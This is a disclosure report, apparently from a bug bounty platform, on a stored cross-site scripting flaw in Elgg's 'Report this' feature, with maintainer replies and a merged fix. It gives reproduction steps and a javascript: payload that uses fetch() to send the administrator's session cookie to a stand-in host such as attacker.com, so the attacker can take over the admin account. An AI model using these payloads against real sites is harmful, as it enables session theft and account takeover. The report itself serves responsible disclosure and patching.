Cross-site Scripting (XSS) - Stored in elgg/elgg

Valid

Reported on

Dec 4th 2021


Analysis

Hello guys, how are doing? Hope you're having an awesome day 馃

Elgg has a functionality for any authenticated user to report pages to the administrators whenever they think that there's something wrong going on with this page. This functionality has an issue, because in order to create a report, the server picks up the address of the page as a request parameter and add it to the new report without any sanitization.

Considering that the address will be used as an HREF for the page to be accessed by the administrators from the Reported Content page, an attacker might use a script as a value for the address request parameter, like the example below:

javascript:alert(document.domain)

Considering also, that Elgg uses cookie authentication, it's possible to write a script in order to steal these cookies:

javascript:fetch(`https://attacker.com/?victim_session=${document.cookie}`)

Finally, by considering that this issue is triggered by user interaction on the administration section, any fetch trigger automatically means that the attacker had stolen an administrator session.

Steps to Reproduce

In order to reproduce it, I'm going to assume you are using Burp Suite, but any other proxy tool will work basically the same, or even the browsers' Dev Tools might be used for that. What I am going to present is one way of using the report functionality, but it can also be used in different pages.

1 => Having your Elgg instance, create two different accounts (administrator and normal user);

2 => Logged in as the normal user, go to the Blogs page, and click on any blog (if there is none, you can create one yourself);

3 => Once in the blog page, click on the three dots in the right side of the window, and select the option "Report this". A form will be opened, so that you can specify what exactly is the problem with the page you are reporting;

4 => If you are using a proxy tool, enable the intercept functionality, and then going back to Elgg, click on "Report this". If you are going to use the browser Dev Tools, just open it on the network tab;

5 => Seeing the request that is being sent to "/elgg/action/reportedcontent/add", change the address parameter to the script below, and then forward the request. If you are using Dev Tools, maybe you are going to need to edit the original request and re-send it.

javascript:alert(`${document.domain}\n${document.cookie}`)

6 => Now log in as the administrator, an go to the reports page, which can be found on /admin/administer_utilities/reportedcontent;

7 => In this page, you probably are going to see at first the report you sent containing a script, click on the reference to this report;

8 => After that, an alert will be popped out containing the domain where the code is coming from, and also the session cookies, which can be used as an authentication method for anyone who has it;

If you guys would like to test for sending the session cookie elsewhere, you can create a server in order to listen to requests, or even use a public request "listener" tool such as RequestBin. After that, redo the report process but change the alert script to the following one:

javascript:fetch(`https://YOUR_SERVER_HERE/?victim_session=${document.cookie}`)

Once it's triggered, the admin's session cookie will be sent to your server, and you can use it in a different browser in order to login as an administrator without knowing their password.

Impact

This Cross-Site Scripting, when triggered, allows an attacker to directly steal an admin session, which compromises the information confidentiality, integrity and availability. These are some exmaples:

Once the attacker is logged in as the admin, they can change their own account privileges to admin and remove the administration permissions of the original admin accounts.

Once the attacker is logged in as the admin, they can see and change information about all the users, even though they're set as private, because administrators have access to any users' "edit profile" page.

Once the attacker is logged in as the admin, they can make the social network inaccessible to common users just by turning on the Maintenance Mode.

We are processing your report and will contact the elgg team within 24 hours. a year ago
a year ago
Breno Vit贸rio
a year ago

Researcher


I noticed you guys already have a method for normalizing URLs, so I submitted a possible patch which actually just calls this method 馃

We have contacted a member of the elgg team and are waiting to hear back a year ago
A聽elgg/elgg聽maintainer validated this vulnerability a year ago
Breno Vit贸rio has been awarded the disclosure bounty
The fix bounty is now up for grabs
A聽elgg/elgg聽maintainer
a year ago

Maintainer


@breno I agree with your proposed patch. However could you make (the same) fix on the Elgg 3.3 branch (https://github.com/Elgg/Elgg/tree/3.3) as that is the branch where security fixes should begin.

A聽elgg/elgg聽maintainer
a year ago

Maintainer


@berno I don't know if you have any more security issues (as this is your 3rd report). If you do could you please report them as soon as you find them.

We love your contributions, however it's a shame that a new issue gets reported 1 day after a release. If we'd know before the release we maybe could have included it. I rather have 1 release with 20 security fixes than 20 releases with 1 fix.

Breno Vit贸rio
a year ago

Researcher


Actually, I don't have any more.

I just take my week-ends to do research and ended up, this week-end, finding the XSS. But whenever (if) I find one or more issues, I will for sure report all of them as soon as possible!

a year ago
A聽elgg/elgg聽maintainer
a year ago

Maintainer


Actually, I don't have any more.

Let's hope it stays that way ;)

Again we love your contributions

Breno Vit贸rio
a year ago

Researcher


Just made the same fix on the 3.3 branch 馃

Jer么me Bakker
a year ago

Maintainer


Your fix was merged into Elgg 3.3.

I'll report this issue as fixed when we release a new version of Elgg. This is scheduled for December 24th.

Jer么me Bakker marked this as fixed in 3.3.24 with commit c30b17 a year ago
Breno Vit贸rio has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation